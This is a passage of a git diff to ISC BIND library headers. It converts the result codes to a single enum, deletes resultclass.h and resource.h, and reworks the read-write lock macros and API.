- *\li	#ISC_R_NOPERM	The calling process did not have adequate permission
- *			to change the resource limit.
- */
-
-isc_result_t
-isc_resource_getlimit(isc_resource_t resource, isc_resourcevalue_t *value);
-/*%<
- * Get the maximum limit for a system resource.
- *
- * Notes:
- *\li	'value' is set to the maximum limit.
- *
- *\li	#ISC_RESOURCE_UNLIMITED is the maximum value of isc_resourcevalue_t.
- *
- *\li	On many (all?) Unix systems, RLIM_INFINITY is a valid value that is
- *	significantly less than #ISC_RESOURCE_UNLIMITED, but which in practice
- *	behaves the same.
- *
- *\li	The current ISC libdns configuration file parser assigns a value
- *	of UINT32_MAX for a size_spec of "unlimited" and ISC_UNIT32_MAX - 1
- *	for "default", the latter of which is supposed to represent "the
- *	limit that was in force when the server started".  Since these are
- *	valid values in the middle of the range of isc_resourcevalue_t,
- *	there is the possibility for confusion over what exactly those
- *	particular values are supposed to represent in a particular context --
- *	discrete integral values or generalized concepts.
- *
- * Requires:
- *\li	'resource' is a valid member of the isc_resource_t enumeration.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS		Success.
- *\li	#ISC_R_NOTIMPLEMENTED	'resource' is not a type known by the OS.
- */
-
-isc_result_t
-isc_resource_getcurlimit(isc_resource_t resource, isc_resourcevalue_t *value);
-/*%<
- * Same as isc_resource_getlimit(), but returns the current (soft) limit.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS		Success.
- *\li	#ISC_R_NOTIMPLEMENTED	'resource' is not a type known by the OS.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* ISC_RESOURCE_H */
diff --git a/lib/isc/include/isc/result.h b/lib/isc/include/isc/result.h
index 21071c7dad..4d2aedcc77 100644
--- a/lib/isc/include/isc/result.h
+++ b/lib/isc/include/isc/result.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,90 +11,273 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_RESULT_H
-#define ISC_RESULT_H 1
+#pragma once
 
 /*! \file isc/result.h */
 
+#include <inttypes.h>
+
 #include <isc/lang.h>
-#include <isc/types.h>
 
-#define ISC_R_SUCCESS	       0	    /*%< success */
-#define ISC_R_NOMEMORY	       1	    /*%< out of memory */
-#define ISC_R_TIMEDOUT	       2	    /*%< timed out */
-#define ISC_R_NOTHREADS	       3	    /*%< no available threads */
-#define ISC_R_ADDRNOTAVAIL     4	    /*%< address not available */
-#define ISC_R_ADDRINUSE	       5	    /*%< address in use */
-#define ISC_R_NOPERM	       6	    /*%< permission denied */
-#define ISC_R_NOCONN	       7	    /*%< no pending connections */
-#define ISC_R_NETUNREACH       8	    /*%< network unreachable */
-#define ISC_R_HOSTUNREACH      9	    /*%< host unreachable */
-#define ISC_R_NETDOWN	       10	    /*%< network down */
-#define ISC_R_HOSTDOWN	       11	    /*%< host down */
-#define ISC_R_CONNREFUSED      12	    /*%< connection refused */
-#define ISC_R_NORESOURCES      13	    /*%< not enough free resources */
-#define ISC_R_EOF	       14	    /*%< end of file */
-#define ISC_R_BOUND	       15	    /*%< socket already bound */
-#define ISC_R_RELOAD	       16	    /*%< reload */
-#define ISC_R_SUSPEND	       ISC_R_RELOAD /*%< alias of 'reload' */
-#define ISC_R_LOCKBUSY	       17	    /*%< lock busy */
-#define ISC_R_EXISTS	       18	    /*%< already exists */
-#define ISC_R_NOSPACE	       19	    /*%< ran out of space */
-#define ISC_R_CANCELED	       20	    /*%< operation canceled */
-#define ISC_R_NOTBOUND	       21	    /*%< socket is not bound */
-#define ISC_R_SHUTTINGDOWN     22	    /*%< shutting down */
-#define ISC_R_NOTFOUND	       23	    /*%< not found */
-#define ISC_R_UNEXPECTEDEND    24	    /*%< unexpected end of input */
-#define ISC_R_FAILURE	       25	    /*%< generic failure */
-#define ISC_R_IOERROR	       26	    /*%< I/O error */
-#define ISC_R_NOTIMPLEMENTED   27	    /*%< not implemented */
-#define ISC_R_UNBALANCED       28	    /*%< unbalanced parentheses */
-#define ISC_R_NOMORE	       29	    /*%< no more */
-#define ISC_R_INVALIDFILE      30	    /*%< invalid file */
-#define ISC_R_BADBASE64	       31	    /*%< bad base64 encoding */
-#define ISC_R_UNEXPECTEDTOKEN  32	    /*%< unexpected token */
-#define ISC_R_QUOTA	       33	    /*%< quota reached */
-#define ISC_R_UNEXPECTED       34	    /*%< unexpected error */
-#define ISC_R_ALREADYRUNNING   35	    /*%< already running */
-#define ISC_R_IGNORE	       36	    /*%< ignore */
-#define ISC_R_MASKNONCONTIG    37	    /*%< addr mask not contiguous */
-#define ISC_R_FILENOTFOUND     38	    /*%< file not found */
-#define ISC_R_FILEEXISTS       39	    /*%< file already exists */
-#define ISC_R_NOTCONNECTED     40	    /*%< socket is not connected */
-#define ISC_R_RANGE	       41	    /*%< out of range */
-#define ISC_R_NOENTROPY	       42	    /*%< out of entropy */
-#define ISC_R_MULTICAST	       43	    /*%< invalid use of multicast */
-#define ISC_R_NOTFILE	       44	    /*%< not a file */
-#define ISC_R_NOTDIRECTORY     45	    /*%< not a directory */
-#define ISC_R_EMPTY	       46	    /*%< queue is empty */
-#define ISC_R_FAMILYMISMATCH   47	    /*%< address family mismatch */
-#define ISC_R_FAMILYNOSUPPORT  48	    /*%< AF not supported */
-#define ISC_R_BADHEX	       49	    /*%< bad hex encoding */
-#define ISC_R_TOOMANYOPENFILES 50	    /*%< too many open files */
-#define ISC_R_NOTBLOCKING      51	    /*%< not blocking */
-#define ISC_R_UNBALANCEDQUOTES 52	    /*%< unbalanced quotes */
-#define ISC_R_INPROGRESS       53	    /*%< operation in progress */
-#define ISC_R_CONNECTIONRESET  54	    /*%< connection reset */
-#define ISC_R_SOFTQUOTA	       55	    /*%< soft quota reached */
-#define ISC_R_BADNUMBER	       56	    /*%< not a valid number */
-#define ISC_R_DISABLED	       57	    /*%< disabled */
-#define ISC_R_MAXSIZE	       58	    /*%< max size */
-#define ISC_R_BADADDRESSFORM   59	    /*%< invalid address format */
-#define ISC_R_BADBASE32	       60	    /*%< bad base32 encoding */
-#define ISC_R_UNSET	       61	    /*%< unset */
-#define ISC_R_MULTIPLE	       62	    /*%< multiple */
-#define ISC_R_WOULDBLOCK       63	    /*%< would block */
-#define ISC_R_COMPLETE	       64	    /*%< complete */
-#define ISC_R_CRYPTOFAILURE    65	    /*%< cryptography library failure */
-#define ISC_R_DISCQUOTA	       66	    /*%< disc quota */
-#define ISC_R_DISCFULL	       67	    /*%< disc full */
-#define ISC_R_DEFAULT	       68	    /*%< default */
-#define ISC_R_IPV4PREFIX       69	    /*%< IPv4 prefix */
-#define ISC_R_TLSERROR	       70	    /*%< TLS error */
-#define ISC_R_HTTP2ALPNERROR   71	    /*%< ALPN for HTTP/2 failed */
+typedef enum isc_result {
+	ISC_R_SUCCESS,		      /*%< success */
+	ISC_R_NOMEMORY,		      /*%< out of memory */
+	ISC_R_TIMEDOUT,		      /*%< timed out */
+	ISC_R_NOTHREADS,	      /*%< no available threads */
+	ISC_R_ADDRNOTAVAIL,	      /*%< address not available */
+	ISC_R_ADDRINUSE,	      /*%< address in use */
+	ISC_R_NOPERM,		      /*%< permission denied */
+	ISC_R_NOCONN,		      /*%< no pending connections */
+	ISC_R_NETUNREACH,	      /*%< network unreachable */
+	ISC_R_HOSTUNREACH,	      /*%< host unreachable */
+	ISC_R_NETDOWN,		      /*%< network down */
+	ISC_R_HOSTDOWN,		      /*%< host down */
+	ISC_R_CONNREFUSED,	      /*%< connection refused */
+	ISC_R_NORESOURCES,	      /*%< not enough free resources */
+	ISC_R_EOF,		      /*%< end of file */
+	ISC_R_BOUND,		      /*%< socket already bound */
+	ISC_R_RELOAD,		      /*%< reload */
+	ISC_R_SUSPEND = ISC_R_RELOAD, /*%< alias of 'reload' */
+	ISC_R_LOCKBUSY,		      /*%< lock busy */
+	ISC_R_EXISTS,		      /*%< already exists */
+	ISC_R_NOSPACE,		      /*%< ran out of space */
+	ISC_R_CANCELED,		      /*%< operation canceled */
+	ISC_R_NOTBOUND,		      /*%< socket is not bound */
+	ISC_R_SHUTTINGDOWN,	      /*%< shutting down */
+	ISC_R_NOTFOUND,		      /*%< not found */
+	ISC_R_UNEXPECTEDEND,	      /*%< unexpected end of input */
+	ISC_R_FAILURE,		      /*%< generic failure */
+	ISC_R_IOERROR,		      /*%< I/O error */
+	ISC_R_NOTIMPLEMENTED,	      /*%< not implemented */
+	ISC_R_UNBALANCED,	      /*%< unbalanced parentheses */
+	ISC_R_NOMORE,		      /*%< no more */
+	ISC_R_INVALIDFILE,	      /*%< invalid file */
+	ISC_R_BADBASE64,	      /*%< bad base64 encoding */
+	ISC_R_UNEXPECTEDTOKEN,	      /*%< unexpected token */
+	ISC_R_QUOTA,		      /*%< quota reached */
+	ISC_R_UNEXPECTED,	      /*%< unexpected error */
+	ISC_R_ALREADYRUNNING,	      /*%< already running */
+	ISC_R_IGNORE,		      /*%< ignore */
+	ISC_R_MASKNONCONTIG,	      /*%< addr mask not contiguous */
+	ISC_R_FILENOTFOUND,	      /*%< file not found */
+	ISC_R_FILEEXISTS,	      /*%< file already exists */
+	ISC_R_NOTCONNECTED,	      /*%< socket is not connected */
+	ISC_R_RANGE,		      /*%< out of range */
+	ISC_R_NOENTROPY,	      /*%< out of entropy */
+	ISC_R_MULTICAST,	      /*%< invalid use of multicast */
+	ISC_R_NOTFILE,		      /*%< not a file */
+	ISC_R_NOTDIRECTORY,	      /*%< not a directory */
+	ISC_R_EMPTY,		      /*%< queue is empty */
+	ISC_R_FAMILYMISMATCH,	      /*%< address family mismatch */
+	ISC_R_FAMILYNOSUPPORT,	      /*%< AF not supported */
+	ISC_R_BADHEX,		      /*%< bad hex encoding */
+	ISC_R_TOOMANYOPENFILES,	      /*%< too many open files */
+	ISC_R_NOTBLOCKING,	      /*%< not blocking */
+	ISC_R_UNBALANCEDQUOTES,	      /*%< unbalanced quotes */
+	ISC_R_INPROGRESS,	      /*%< operation in progress */
+	ISC_R_CONNECTIONRESET,	      /*%< connection reset */
+	ISC_R_SOFTQUOTA,	      /*%< soft quota reached */
+	ISC_R_BADNUMBER,	      /*%< not a valid number */
+	ISC_R_DISABLED,		      /*%< disabled */
+	ISC_R_MAXSIZE,		      /*%< max size */
+	ISC_R_BADADDRESSFORM,	      /*%< invalid address format */
+	ISC_R_BADBASE32,	      /*%< bad base32 encoding */
+	ISC_R_UNSET,		      /*%< unset */
+	ISC_R_MULTIPLE,		      /*%< multiple */
+	ISC_R_WOULDBLOCK,	      /*%< would block */
+	ISC_R_COMPLETE,		      /*%< complete */
+	ISC_R_CRYPTOFAILURE,	      /*%< cryptography library failure */
+	ISC_R_DISCQUOTA,	      /*%< disc quota */
+	ISC_R_DISCFULL,		      /*%< disc full */
+	ISC_R_DEFAULT,		      /*%< default */
+	ISC_R_IPV4PREFIX,	      /*%< IPv4 prefix */
+	ISC_R_TLSERROR,		      /*%< TLS error */
+	ISC_R_TLSBADPEERCERT, /*%< TLS peer certificate verification failed */
+	ISC_R_HTTP2ALPNERROR, /*%< ALPN for HTTP/2 failed */
+	ISC_R_DOTALPNERROR,   /*%< ALPN for DoT failed */
+	ISC_R_INVALIDPROTO,   /*%< invalid protocol */
+
+	DNS_R_LABELTOOLONG,
+	DNS_R_BADESCAPE,
+	DNS_R_EMPTYLABEL,
+	DNS_R_BADDOTTEDQUAD,
+	DNS_R_INVALIDNS,
+	DNS_R_UNKNOWN,
+	DNS_R_BADLABELTYPE,
+	DNS_R_BADPOINTER,
+	DNS_R_TOOMANYHOPS,
+	DNS_R_DISALLOWED,
+	DNS_R_EXTRATOKEN,
+	DNS_R_EXTRADATA,
+	DNS_R_TEXTTOOLONG,
+	DNS_R_NOTZONETOP,
+	DNS_R_SYNTAX,
+	DNS_R_BADCKSUM,
+	DNS_R_BADAAAA,
+	DNS_R_NOOWNER,
+	DNS_R_NOTTL,
+	DNS_R_BADCLASS,
+	DNS_R_NAMETOOLONG,
+	DNS_R_PARTIALMATCH,
+	DNS_R_NEWORIGIN,
+	DNS_R_UNCHANGED,
+	DNS_R_BADTTL,
+	DNS_R_NOREDATA,
+	DNS_R_CONTINUE,
+	DNS_R_DELEGATION,
+	DNS_R_GLUE,
+	DNS_R_DNAME,
+	DNS_R_CNAME,
+	DNS_R_BADDB,
+	DNS_R_ZONECUT,
+	DNS_R_BADZONE,
+	DNS_R_MOREDATA,
+	DNS_R_UPTODATE,
+	DNS_R_TSIGVERIFYFAILURE,
+	DNS_R_TSIGERRORSET,
+	DNS_R_SIGINVALID,
+	DNS_R_SIGEXPIRED,
+	DNS_R_SIGFUTURE,
+	DNS_R_KEYUNAUTHORIZED,
+	DNS_R_INVALIDTIME,
+	DNS_R_EXPECTEDTSIG,
+	DNS_R_UNEXPECTEDTSIG,
+	DNS_R_INVALIDTKEY,
+	DNS_R_HINT,
+	DNS_R_DROP,
+	DNS_R_NOTLOADED,
+	DNS_R_NCACHENXDOMAIN,
+	DNS_R_NCACHENXRRSET,
+	DNS_R_WAIT,
+	DNS_R_NOTVERIFIEDYET,
+	DNS_R_NOIDENTITY,
+	DNS_R_NOJOURNAL,
+	DNS_R_ALIAS,
+	DNS_R_USETCP,
+	DNS_R_NOVALIDSIG,
+	DNS_R_NOVALIDNSEC,
+	DNS_R_NOTINSECURE,
+	DNS_R_UNKNOWNSERVICE,
+	DNS_R_RECOVERABLE,
+	DNS_R_UNKNOWNOPT,
+	DNS_R_UNEXPECTEDID,
+	DNS_R_SEENINCLUDE,
+	DNS_R_NOTEXACT,
+	DNS_R_BLACKHOLED,
+	DNS_R_BADALG,
+	DNS_R_METATYPE,
+	DNS_R_CNAMEANDOTHER,
+	DNS_R_SINGLETON,
+	DNS_R_HINTNXRRSET,
+	DNS_R_NOMASTERFILE,
+	DNS_R_UNKNOWNPROTO,
+	DNS_R_CLOCKSKEW,
+	DNS_R_BADIXFR,
+	DNS_R_NOTAUTHORITATIVE,
+	DNS_R_NOVALIDKEY,
+	DNS_R_OBSOLETE,
+	DNS_R_FROZEN,
+	DNS_R_UNKNOWNFLAG,
+	DNS_R_EXPECTEDRESPONSE,
+	DNS_R_NOVALIDDS,
+	DNS_R_NSISADDRESS,
+	DNS_R_REMOTEFORMERR,
+	DNS_R_TRUNCATEDTCP,
+	DNS_R_LAME,
+	DNS_R_UNEXPECTEDRCODE,
+	DNS_R_UNEXPECTEDOPCODE,
+	DNS_R_CHASEDSSERVERS,
+	DNS_R_EMPTYNAME,
+	DNS_R_EMPTYWILD,
+	DNS_R_BADBITMAP,
+	DNS_R_FROMWILDCARD,
+	DNS_R_BADOWNERNAME,
+	DNS_R_BADNAME,
+	DNS_R_DYNAMIC,
+	DNS_R_UNKNOWNCOMMAND,
+	DNS_R_MUSTBESECURE,
+	DNS_R_COVERINGNSEC,
+	DNS_R_MXISADDRESS,
+	DNS_R_DUPLICATE,
+	DNS_R_INVALIDNSEC3,
+	DNS_R_NOTPRIMARY,
+	DNS_R_BROKENCHAIN,
+	DNS_R_EXPIRED,
+	DNS_R_NOTDYNAMIC,
+	DNS_R_BADEUI,
+	DNS_R_NTACOVERED,
+	DNS_R_BADCDS,
+	DNS_R_BADCDNSKEY,
+	DNS_R_OPTERR,
+	DNS_R_BADDNSTAP,
+	DNS_R_BADTSIG,
+	DNS_R_BADSIG0,
+	DNS_R_TOOMANYRECORDS,
+	DNS_R_VERIFYFAILURE,
+	DNS_R_ATZONETOP,
+	DNS_R_NOKEYMATCH,
+	DNS_R_TOOMANYKEYS,
+	DNS_R_KEYNOTACTIVE,
+	DNS_R_NSEC3ITERRANGE,
+	DNS_R_NSEC3SALTRANGE,
+	DNS_R_NSEC3BADALG,
+	DNS_R_NSEC3RESALT,
+	DNS_R_INCONSISTENTRR,
+	DNS_R_HAVEPARMKEYS,
+	DNS_R_NOALPN,
+	DNS_R_NODOHPATH,
+
+	DST_R_UNSUPPORTEDALG,
+	DST_R_CRYPTOFAILURE,
+	/* compat */
+	DST_R_OPENSSLFAILURE = DST_R_CRYPTOFAILURE,
+	DST_R_NOCRYPTO,
+	DST_R_NULLKEY,
+	DST_R_INVALIDPUBLICKEY,
+	DST_R_INVALIDPRIVATEKEY,
+	DST_R_WRITEERROR,
+	DST_R_INVALIDPARAM,
+	DST_R_SIGNFAILURE,
+	DST_R_VERIFYFAILURE,
+	DST_R_NOTPUBLICKEY,
+	DST_R_NOTPRIVATEKEY,
+	DST_R_KEYCANNOTCOMPUTESECRET,
+	DST_R_COMPUTESECRETFAILURE,
+	DST_R_NORANDOMNESS,
+	DST_R_BADKEYTYPE,
+	DST_R_NOENGINE,
+	DST_R_EXTERNALKEY,
+
+	DNS_R_NOERROR,
+	DNS_R_FORMERR,
+	DNS_R_SERVFAIL,
+	DNS_R_NXDOMAIN,
+	DNS_R_NOTIMP,
+	DNS_R_REFUSED,
+	DNS_R_YXDOMAIN,
+	DNS_R_YXRRSET,
+	DNS_R_NXRRSET,
+	DNS_R_NOTAUTH,
+	DNS_R_NOTZONE,
+	DNS_R_RCODE11,
+	DNS_R_RCODE12,
+	DNS_R_RCODE13,
+	DNS_R_RCODE14,
+	DNS_R_RCODE15,
+	DNS_R_BADVERS,
+	DNS_R_BADCOOKIE = DNS_R_NOERROR + 23,
 
-/*% Not a result code: the number of results. */
-#define ISC_R_NRESULTS 72
+	ISCCC_R_UNKNOWNVERSION,
+	ISCCC_R_SYNTAX,
+	ISCCC_R_BADAUTH,
+	ISCCC_R_EXPIRED,
+	ISCCC_R_CLOCKSKEW,
+	ISCCC_R_DUPLICATE,
+	ISCCC_R_MAXDEPTH,
+
+	ISC_R_NRESULTS, /*% The number of results. */
+	ISC_R_MAKE_ENUM_32BIT = INT32_MAX,
+} isc_result_t;
 
 ISC_LANG_BEGINDECLS
 
@@ -107,14 +292,4 @@ const char *isc_result_toid(isc_result_t);
  * "ISC_R_SUCCESS".
  */
 
-isc_result_t
-isc_result_register(unsigned int base, unsigned int nresults, const char **text,
-		    int set);
-
-isc_result_t
-isc_result_registerids(unsigned int base, unsigned int nresults,
-		       const char **ids, int set);
-
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_RESULT_H */
diff --git a/lib/isc/include/isc/resultclass.h b/lib/isc/include/isc/resultclass.h
deleted file mode 100644
index 4953622e54..0000000000
--- a/lib/isc/include/isc/resultclass.h
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_RESULTCLASS_H
-#define ISC_RESULTCLASS_H 1
-
-/*! \file isc/resultclass.h
- * \brief Registry of Predefined Result Type Classes
- *
- * A result class number is an unsigned 16 bit number.  Each class may
- * contain up to 65536 results.  A result code is formed by adding the
- * result number within the class to the class number multiplied by 65536.
- *
- * Classes < 1024 are reserved for ISC use.
- * Result classes >= 1024 and <= 65535 are reserved for application use.
- */
-
-#define ISC_RESULTCLASS_FROMNUM(num)  ((num) << 16)
-#define ISC_RESULTCLASS_TONUM(rclass) ((rclass) >> 16)
-#define ISC_RESULTCLASS_SIZE	      65536
-#define ISC_RESULTCLASS_INCLASS(rclass, result) \
-	((rclass) == ((result)&0xFFFF0000))
-
-#define ISC_RESULTCLASS_ISC	 ISC_RESULTCLASS_FROMNUM(0)
-#define ISC_RESULTCLASS_DNS	 ISC_RESULTCLASS_FROMNUM(1)
-#define ISC_RESULTCLASS_DST	 ISC_RESULTCLASS_FROMNUM(2)
-#define ISC_RESULTCLASS_DNSRCODE ISC_RESULTCLASS_FROMNUM(3)
-#define ISC_RESULTCLASS_OMAPI	 ISC_RESULTCLASS_FROMNUM(4)
-#define ISC_RESULTCLASS_ISCCC	 ISC_RESULTCLASS_FROMNUM(5)
-#define ISC_RESULTCLASS_DHCP	 ISC_RESULTCLASS_FROMNUM(6)
-#define ISC_RESULTCLASS_PK11	 ISC_RESULTCLASS_FROMNUM(7)
-
-#endif /* ISC_RESULTCLASS_H */
diff --git a/lib/isc/include/isc/rwlock.h b/lib/isc/include/isc/rwlock.h
index cbcb2dfb46..c5b95182b4 100644
--- a/lib/isc/include/isc/rwlock.h
+++ b/lib/isc/include/isc/rwlock.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,18 +11,16 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_RWLOCK_H
-#define ISC_RWLOCK_H 1
+#pragma once
 
 #include <inttypes.h>
+#include <stdlib.h>
 
 /*! \file isc/rwlock.h */
 
-#include <isc/atomic.h>
-#include <isc/condition.h>
 #include <isc/lang.h>
-#include <isc/platform.h>
 #include <isc/types.h>
+#include <isc/util.h>
 
 ISC_LANG_BEGINDECLS
 
@@ -33,63 +33,167 @@ typedef enum {
 #if USE_PTHREAD_RWLOCK
 #include <pthread.h>
 
-struct isc_rwlock {
-	pthread_rwlock_t rwlock;
-	atomic_bool	 downgrade;
-};
+/*
+ * We use macros instead of static inline functions so that the exact code
+ * location can be reported when PTHREADS_RUNTIME_CHECK() fails or when mutrace
+ * reports lock contention.
+ */
+
+#if ISC_TRACK_PTHREADS_OBJECTS
+
+typedef pthread_rwlock_t *isc_rwlock_t;
+typedef pthread_rwlock_t  isc__rwlock_t;
+
+#define isc_rwlock_init(rwl)                  \
+	{                                     \
+		*rwl = malloc(sizeof(**rwl)); \
+		isc__rwlock_init(*rwl);       \
+	}
+#define isc_rwlock_lock(rwl, type)    isc__rwlock_lock(*rwl, type)
+#define isc_rwlock_trylock(rwl, type) isc__rwlock_trylock(*rwl, type)
+#define isc_rwlock_unlock(rwl, type)  isc__rwlock_unlock(*rwl, type)
+#define isc_rwlock_tryupgrade(rwl)    isc__rwlock_tryupgrade(*rwl)
+#define isc_rwlock_destroy(rwl)            \
+	{                                  \
+		isc__rwlock_destroy(*rwl); \
+		free(*rwl);                \
+	}
+
+#else /* ISC_TRACK_PTHREADS_OBJECTS */
+
+typedef pthread_rwlock_t isc_rwlock_t;
+typedef pthread_rwlock_t isc__rwlock_t;
+
+#define isc_rwlock_init(rwl)	      isc__rwlock_init(rwl)
+#define isc_rwlock_lock(rwl, type)    isc__rwlock_lock(rwl, type)
+#define isc_rwlock_trylock(rwl, type) isc__rwlock_trylock(rwl, type)
+#define isc_rwlock_unlock(rwl, type)  isc__rwlock_unlock(rwl, type)
+#define isc_rwlock_tryupgrade(rwl)    isc__rwlock_tryupgrade(rwl)
+#define isc_rwlock_destroy(rwl)	      isc__rwlock_destroy(rwl)
+
+#endif /* ISC_TRACK_PTHREADS_OBJECTS */
+
+#define isc__rwlock_init(rwl)                                      \
+	{                                                          \
+		int _ret = pthread_rwlock_init(rwl, NULL);         \
+		PTHREADS_RUNTIME_CHECK(pthread_rwlock_init, _ret); \
+	}
+
+#define isc__rwlock_lock(rwl, type)                                          \
+	{                                                                    \
+		int _ret;                                                    \
+		switch (type) {                                              \
+		case isc_rwlocktype_read:                                    \
+			_ret = pthread_rwlock_rdlock(rwl);                   \
+			PTHREADS_RUNTIME_CHECK(pthread_rwlock_rdlock, _ret); \
+			break;                                               \
+		case isc_rwlocktype_write:                                   \
+			_ret = pthread_rwlock_wrlock(rwl);                   \
+			PTHREADS_RUNTIME_CHECK(pthread_rwlock_rwlock, _ret); \
+			break;                                               \
+		default:                                                     \
+			UNREACHABLE();                                       \
+		}                                                            \
+	}
+
+#define isc__rwlock_trylock(rwl, type)                                   \
+	({                                                               \
+		int	     _ret = 0;                                   \
+		isc_result_t _res = ISC_R_UNSET;                         \
+                                                                         \
+		switch (type) {                                          \
+		case isc_rwlocktype_read:                                \
+			_ret = pthread_rwlock_tryrdlock(rwl);            \
+			break;                                           \
+		case isc_rwlocktype_write:                               \
+			_ret = pthread_rwlock_trywrlock(rwl);            \
+			break;                                           \
+		default:                                                 \
+			UNREACHABLE();                                   \
+		}                                                        \
+                                                                         \
+		switch (_ret) {                                          \
+		case 0:                                                  \
+			_res = ISC_R_SUCCESS;                            \
+			break;                                           \
+		case EBUSY:                                              \
+		case EAGAIN:                                             \
+			_res = ISC_R_LOCKBUSY;                           \
+			break;                                           \
+		default:                                                 \
+			switch (type) {                                  \
+			case isc_rwlocktype_read:                        \
+				PTHREADS_RUNTIME_CHECK(                  \
+					pthread_rwlock_tryrdlock, _ret); \
+				break;                                   \
+			case isc_rwlocktype_write:                       \
+				PTHREADS_RUNTIME_CHECK(                  \
+					pthread_rwlock_trywrlock, _ret); \
+				break;                                   \
+			default:                                         \
+				UNREACHABLE();                           \
+			}                                                \
+			UNREACHABLE();                                   \
+		}                                                        \
+		_res;                                                    \
+	})
+
+#define isc__rwlock_unlock(rwl, type)                                \
+	{                                                            \
+		int _ret = pthread_rwlock_unlock(rwl);               \
+		UNUSED(type);                                        \
+		PTHREADS_RUNTIME_CHECK(pthread_rwlock_rwlock, _ret); \
+	}
+
+#define isc__rwlock_tryupgrade(rwl) \
+	({                          \
+		UNUSED(rwl);        \
+		ISC_R_LOCKBUSY;     \
+	})
+
+#define isc__rwlock_destroy(rwl)                                      \
+	{                                                             \
+		int _ret = pthread_rwlock_destroy(rwl);               \
+		PTHREADS_RUNTIME_CHECK(pthread_rwlock_destroy, _ret); \
+	}
+
+#define isc_rwlock_setworkers(workers)
 
 #else /* USE_PTHREAD_RWLOCK */
 
+#include <isc/align.h>
+#include <isc/atomic.h>
+#include <isc/os.h>
+
 struct isc_rwlock {
-	/* Unlocked. */
-	unsigned int	    magic;
-	isc_mutex_t	    lock;
-	atomic_int_fast32_t spins;
-
-	/*
-	 * When some atomic instructions with hardware assistance are
-	 * available, rwlock will use those so that concurrent readers do not
-	 * interfere with each other through mutex as long as no writers
-	 * appear, massively reducing the lock overhead in the typical case.
-	 *
-	 * The basic algorithm of this approach is the "simple
-	 * writer-preference lock" shown in the following URL:
-	 * http://www.cs.rochester.edu/u/scott/synchronization/pseudocode/rw.html
-	 * but our implementation does not rely on the spin lock unlike the
-	 * original algorithm to be more portable as a user space application.
-	 */
-
-	/* Read or modified atomically. */
-	atomic_int_fast32_t write_requests;
-	atomic_int_fast32_t write_completions;
-	atomic_int_fast32_t cnt_and_flag;
-
-	/* Locked by lock. */
-	isc_condition_t readable;
-	isc_condition_t writeable;
-	unsigned int	readers_waiting;
-
-	/* Locked by rwlock itself. */
-	atomic_uint_fast32_t write_granted;
-
-	/* Unlocked. */
-	unsigned int write_quota;
+	alignas(ISC_OS_CACHELINE_SIZE) atomic_uint_fast32_t readers_ingress;
+	alignas(ISC_OS_CACHELINE_SIZE) atomic_uint_fast32_t readers_egress;
+	alignas(ISC_OS_CACHELINE_SIZE) atomic_int_fast32_t writers_barrier;
+	alignas(ISC_OS_CACHELINE_SIZE) atomic_bool writers_lock;
 };
 
-#endif /* USE_PTHREAD_RWLOCK */
+typedef struct isc_rwlock isc_rwlock_t;
 
 void
-isc_rwlock_init(isc_rwlock_t *rwl, unsigned int read_quota,
-		unsigned int write_quota);
+isc_rwlock_init(isc_rwlock_t *rwl);
 
-isc_result_t
-isc_rwlock_lock(isc_rwlock_t *rwl, isc_rwlocktype_t type);
+void
+isc_rwlock_rdlock(isc_rwlock_t *rwl);
+
+void
+isc_rwlock_wrlock(isc_rwlock_t *rwl);
 
 isc_result_t
-isc_rwlock_trylock(isc_rwlock_t *rwl, isc_rwlocktype_t type);
+isc_rwlock_tryrdlock(isc_rwlock_t *rwl);
 
 isc_result_t
-isc_rwlock_unlock(isc_rwlock_t *rwl, isc_rwlocktype_t type);
+isc_rwlock_trywrlock(isc_rwlock_t *rwl);
+
+void
+isc_rwlock_rdunlock(isc_rwlock_t *rwl);
+
+void
+isc_rwlock_wrunlock(isc_rwlock_t *rwl);
 
 isc_result_t
 isc_rwlock_tryupgrade(isc_rwlock_t *rwl);
@@ -100,6 +204,53 @@ isc_rwlock_downgrade(isc_rwlock_t *rwl);
 void
 isc_rwlock_destroy(isc_rwlock_t *rwl);
 
-ISC_LANG_ENDDECLS
+void
+isc_rwlock_setworkers(uint16_t workers);
+
+#define isc_rwlock_lock(rwl, type)              \
+	{                                       \
+		switch (type) {                 \
+		case isc_rwlocktype_read:       \
+			isc_rwlock_rdlock(rwl); \
+			break;                  \
+		case isc_rwlocktype_write:      \
+			isc_rwlock_wrlock(rwl); \
+			break;                  \
+		default:                        \
+			UNREACHABLE();          \
+		}                               \
+	}
+
+#define isc_rwlock_trylock(rwl, type)                         \
+	({                                                    \
+		int __result;                                 \
+		switch (type) {                               \
+		case isc_rwlocktype_read:                     \
+			__result = isc_rwlock_tryrdlock(rwl); \
+			break;                                \
+		case isc_rwlocktype_write:                    \
+			__result = isc_rwlock_trywrlock(rwl); \
+			break;                                \
+		default:                                      \
+			UNREACHABLE();                        \
+		}                                             \
+		__result;                                     \
+	})
 
-#endif /* ISC_RWLOCK_H */
+#define isc_rwlock_unlock(rwl, type)              \
+	{                                         \
+		switch (type) {                   \
+		case isc_rwlocktype_read:         \
+			isc_rwlock_rdunlock(rwl); \
+			break;                    \
+		case isc_rwlocktype_write:        \
+			isc_rwlock_wrunlock(rwl); \
+			break;                    \
+		default:                          \
